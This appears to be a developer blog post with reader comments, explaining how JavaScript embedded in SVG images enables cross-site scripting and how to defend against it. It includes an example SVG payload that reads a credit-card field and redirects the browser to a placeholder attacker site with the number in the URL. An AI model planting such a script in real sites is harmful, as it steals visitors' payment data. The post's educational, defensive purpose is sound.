Scalable Vector Graphics (SVGs) are XML documents that describe images as mathematical formulas. Because of this, the images that are drawn by the browser using these formulas never lose quality at any size.
Here are the contents of a simple SVG document that describe a green circle:
<svg xmlns="http://www.w3.org/2000/svg">
<circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>
While SVGs offer certain benefits over raster-based image formats such as scalability, interactivity, editability and small file sizes, there is a way in which SVGs can be used for evil. 👿
Since SVGs have their own document object model (DOM), just like an HTML document, they can function as an interactive document. How? Well it's simple - anyone can just throw in some JavaScript:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert('I can do evil things...');</script>
<circle cx="40" cy="40" r="24" style="stroke:#006600; fill:#00cc00"/>
</svg>
If we open this SVG document with our browser we can see the JavaScript execute immediately. The alert even blocks execution of the browser rendering the circle.
While adding JS inside an SVG isn't inherently dangerous, it's important to know how they could be exploited.
Consider this scenario - a forum allows any user to upload a profile picture in SVG format. The hacker can add a script that retrieves cookie/storage information and force the browser to redirect to their own server with query params containing the retrieved data. If this SVG profile picture is embedded on the site, and is viewed by anyone, then that malicious script will run before the user even realizes what has happened. Such an attack is a form of Cross-Site Scripting (XSS) and the possibilities for exploitation are numerous:
<h3>Enter Your Payment Info</h3>
<input id="credit-card">
<div class="customer-pic">
<svg xmlns="http://www.w3.org/2000/svg">
<script>
const evilSite = 'http://www.an-evil-site.com';
const ccInput = document.querySelector('#credit-card');
ccInput.onchange = () => {
window.location.href = `${evilSite}?cc=${ccInput.value}`;
};
</script>
<circle cx="40" cy="40" r="24"></circle>
</svg>
</div>
Let's stop right here and clear the big question though — when the SVG is implemented as an image tag or CSS background image source, the browser will not execute any JavaScript embedded inside the SVG. So the following implementations would be safe:
<img src="./circle.svg">
div {
background-image: url("./circle.svg");
}
But if these trojan SVGs are embedded directly or added with an iframe then bad things can happen. 🚨
So how can you protect against such a nefarious exploit?
- Don't allow SVG uploads from untrusted sources.
- Consider a Content Security Policy (CSP) to protect against XSS.
- Don't store sensitive data client-side.
- Use secure frames to capture sensitive client input.
Check out more #JSBits at my blog, jsbits-yo.com. Or follow me on Twitter!
Top comments (10)
I don't think svg is dangerous here, because if anyone who can inject svg, can also inject script on the same page.
Not necessarily; think sites like pixabay, where you can upload SVG files for people to use for free on their website. You can just add a
<script>
tag and everybody foolish enough to just copy-paste the SVG-file into the website will unknowingly introduce someone elses code that way.In conclusion, always inspect SVG graphics before using them (and then grep for
script
anyways)Also I do believe there's people out there dumb enough to accept user-submitted SVG and just embed that on their website, like, for profile pages and such.
By the way, is there any list for specific things to consider here? like, what should one even grep for?
script
,onclick
, etc. and specially things that normal HTML sanitizers might miss@darkwiiplayer - Agreed on all points. I did come across this XSS "cheat sheet" of event handlers one should watch out for (filter by "SVG"):
portswigger.net/web-security/cross...
There are some sneaky ones like "onunload", "onpointerover", etc.
Yes I agree about copy and paste, it is dangerous. Well script tag and event handlers both are bad equally.
Also referencing third party scripts can enable user tracking.
Really good read.
I love SVG. I use it extensively for my online game.
Wouldn't an iframe limit the SVG's scripts to within the iframe sandbox? It shouldn't be able to cross over into the main document.
As an image tag it'd be completely separated as well.
I doubt any sites inject user SVG directly into their web pages. I do that for my game and had no end of problems with it. For the most part SVG's just won't work that way unless you significantly alter them.
My point is definitely not discouraging the use of SVGs! They're great however I wanted to point out how they can be exploited.
The iframe would have to have a source that is different than the parent domain - if so then the child SVG JS wouldn't be able to access the parent content due to CORS restrictions.
But there unfortunately have been cases where untrusted SVGs are being embedded on sites that have caused harm. Check out all the reports here: google.com/search?q=svg%20xss%20at...
I use SVGs all the time for their advantages but wanted to bring attention to this capability they have since an awareness of it can prevent major attacks.
Nice
SVGOMG is a great tool to optimize and sanitize SVGs
Great post.